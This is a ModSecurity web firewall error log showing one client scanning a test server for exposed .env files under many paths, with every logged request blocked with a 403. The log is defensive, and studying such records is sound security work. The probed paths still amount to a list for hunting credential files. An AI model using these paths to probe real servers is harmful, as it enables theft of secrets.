[Thu Feb 26 01:03:03.825722 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/sdl-first/prisma/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXizAQAAAAA&quot;]
[Thu Feb 26 01:03:03.850011 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /exercise.frontend/train/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Exercise.Frontend/train/.env&quot;] [unique_id &quot;aZ-Nt4Cbt-ue5ARpbmjlKgAAAAI&quot;]
[Thu Feb 26 01:03:03.850246 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Exercise.Frontend/train/.env&quot;] [unique_id &quot;aZ-Nt4Cbt-ue5ARpbmjlKgAAAAI&quot;]
[Thu Feb 26 01:03:03.850415 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Exercise.Frontend/train/.env&quot;] [unique_id &quot;aZ-Nt4Cbt-ue5ARpbmjlKgAAAAI&quot;]
[Thu Feb 26 01:03:03.857433 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/vue-dashboard/backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/vue-dashboard/backend/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXizAgAAAAA&quot;]
[Thu Feb 26 01:03:03.857655 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/vue-dashboard/backend/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXizAgAAAAA&quot;]
[Thu Feb 26 01:03:03.857801 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/vue-dashboard/backend/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXizAgAAAAA&quot;]
[Thu Feb 26 01:03:03.880139 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /export/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/export/.env&quot;] [unique_id &quot;aZ-Nt4Cbt-ue5ARpbmjlKwAAAAI&quot;]
[Thu Feb 26 01:03:03.880353 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/export/.env&quot;] [unique_id &quot;aZ-Nt4Cbt-ue5ARpbmjlKwAAAAI&quot;]
[Thu Feb 26 01:03:03.880501 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/export/.env&quot;] [unique_id &quot;aZ-Nt4Cbt-ue5ARpbmjlKwAAAAI&quot;]
[Thu Feb 26 01:03:03.889227 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/web/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/web/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXizAwAAAAA&quot;]
[Thu Feb 26 01:03:03.889437 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/web/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXizAwAAAAA&quot;]
[Thu Feb 26 01:03:03.889576 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/web/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXizAwAAAAA&quot;]
[Thu Feb 26 01:03:03.920406 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fastlane/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fastlane/.env&quot;] [unique_id &quot;aZ-Nt4Cbt-ue5ARpbmjlLAAAAAI&quot;]
[Thu Feb 26 01:03:03.920660 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fastlane/.env&quot;] [unique_id &quot;aZ-Nt4Cbt-ue5ARpbmjlLAAAAAI&quot;]
[Thu Feb 26 01:03:03.920823 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fastlane/.env&quot;] [unique_id &quot;aZ-Nt4Cbt-ue5ARpbmjlLAAAAAI&quot;]
[Thu Feb 26 01:03:03.921489 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/with-cookie-auth-fauna/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-cookie-auth-fauna/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXizBAAAAAA&quot;]
[Thu Feb 26 01:03:03.921710 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-cookie-auth-fauna/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXizBAAAAAA&quot;]
[Thu Feb 26 01:03:03.921854 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-cookie-auth-fauna/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXizBAAAAAA&quot;]
[Thu Feb 26 01:03:03.950683 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/with-dotenv/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-dotenv/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXizBQAAAAA&quot;]
[Thu Feb 26 01:03:03.950931 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-dotenv/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXizBQAAAAA&quot;]
[Thu Feb 26 01:03:03.951091 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-dotenv/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXizBQAAAAA&quot;]
[Thu Feb 26 01:03:03.953645 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /favicons/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/favicons/.env&quot;] [unique_id &quot;aZ-Nt4Cbt-ue5ARpbmjlLQAAAAI&quot;]
[Thu Feb 26 01:03:03.953865 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/favicons/.env&quot;] [unique_id &quot;aZ-Nt4Cbt-ue5ARpbmjlLQAAAAI&quot;]
[Thu Feb 26 01:03:03.954017 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/favicons/.env&quot;] [unique_id &quot;aZ-Nt4Cbt-ue5ARpbmjlLQAAAAI&quot;]
[Thu Feb 26 01:03:03.996301 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/with-firebase-authentication-serverless/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-firebase-authentication-serverless/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXizBgAAAAA&quot;]
[Thu Feb 26 01:03:03.996578 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-firebase-authentication-serverless/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXizBgAAAAA&quot;]
[Thu Feb 26 01:03:03.996749 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-firebase-authentication-serverless/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXizBgAAAAA&quot;]
[Thu Feb 26 01:03:03.996965 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /favs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/favs/.env&quot;] [unique_id &quot;aZ-Nt4Cbt-ue5ARpbmjlLgAAAAI&quot;]
[Thu Feb 26 01:03:03.997213 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/favs/.env&quot;] [unique_id &quot;aZ-Nt4Cbt-ue5ARpbmjlLgAAAAI&quot;]
[Thu Feb 26 01:03:03.997369 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/favs/.env&quot;] [unique_id &quot;aZ-Nt4Cbt-ue5ARpbmjlLgAAAAI&quot;]
[Thu Feb 26 01:03:04.028074 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fe/huey/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/FE/huey/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlLwAAAAI&quot;]
[Thu Feb 26 01:03:04.028320 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/FE/huey/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlLwAAAAI&quot;]
